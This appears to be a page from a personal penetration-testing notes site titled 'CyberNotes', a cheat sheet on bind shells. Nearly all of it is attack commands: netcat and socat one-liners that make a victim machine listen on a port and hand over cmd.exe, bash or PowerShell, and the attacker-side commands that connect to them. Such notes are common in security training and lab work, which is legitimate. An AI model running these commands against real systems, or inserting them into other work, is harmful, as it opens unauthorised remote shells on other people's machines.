CyberNotes
Exploitation/Shells

Bind Shells

Setting up a listener on the victim machine for the attacker to connect to

Netcat

On the target:

nc -lvnp <port> -e "cmd.exe"

On the attacking machine:

$ nc MACHINE_IP <port>

Socat

On a Linux target:

socat TCP-L:<PORT> EXEC:"bash -li"

On a Windows target:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

On the attacking machine:

socat TCP:<TARGET-IP>:<TARGET-PORT> -

On this page